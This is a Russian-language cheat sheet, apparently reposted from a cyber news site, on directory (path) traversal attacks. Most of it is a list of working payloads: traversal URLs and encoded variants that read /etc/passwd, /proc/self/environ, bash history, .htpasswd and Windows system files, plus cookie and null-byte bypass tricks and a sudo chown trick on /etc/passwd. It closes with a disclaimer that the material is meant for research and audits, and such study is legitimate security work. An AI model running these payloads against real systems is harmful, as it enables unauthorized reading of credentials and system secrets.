Атака Обход каталога
the Matrix • Cyber News
Обход каталога (или обход пути) заключается в использовании недостаточной проверки безопасности/очистки введенных пользователем имен входных файлов, так что символы, представляющие “переход к родительскому каталогу”, передаются в файловые API.
СодержаниеПримеры
Windows
http://someurl.com?filename=..\..\..\windows\win.inic:\boot.ini c:\windows\system32\drivers\etc\hosts C:\xampp\apache\.htpasswdUnix
http://someurl.com/../../../../etc/passwdВ HTTP GET запросе
GET /static/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd HTTP/1.1Получим переменные окружения текущего процесса
http://someurl.com/../../../../proc/self/environ http://someurl.com/image?id=../proc/self/environСведения об операционной системе жертвы
http://someurl.com/../../../../proc/versionТекущий пользователь
http://someurl.com/../../../../proc/self/versionДругая информация, например, о запущенных процессах
http://someurl.com/../../../../proc/sched_debugИстория команд
http://someurl.com/../../../../home/<userid>/.bash_history http://someurl.com/../../../../home/apache/.bash_historyВ кукис
GET /vulnerable.php HTTP/1.0 Cookie: TEMPLATE=../../../../../../../../../etc/passwdВ sudo
sudo chown baduser /opt/myapp/myconfig/../../../etc/passwd)Обход
Кодированный URI
%2e%2e%2f что переводится в ../ %2e%2e/ что переводится в ../ ..%2f что переводится в ../ %2e%2e%5c что переводится в ..\Проверка в начале пути
Приложение ожидает, что имя файла будет начинаться с базовой папки, например, /var/www/images.
filename=/var/www/images/../../../etc/passwdРасширение файла подтверждено
Приложение ожидает, что имя файла будет заканчиваться определенным расширением (например, “.png”).
Попробуйте ввести нулевой байт.
filename=../../../etc/passwd%00.pngсм. также:
- 🕷️ Быстрый обзор: Уязвимость обхода пути
- 🕵️ Обход 40X кодов ответа с помощью dontgo403
- 🕵️ Обход ограничений на загрузку файлов в веб-приложениях, чтобы открыть шелл
- 🖧 Burp Bounty: BurpSuite расширение для улучшения активного и пассивного сканера
¯\_(ツ)_/
Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.
Источник
Наши проекты:
- Кибер новости: the Matrix • Cyber News
- Хакинг: /me Hacker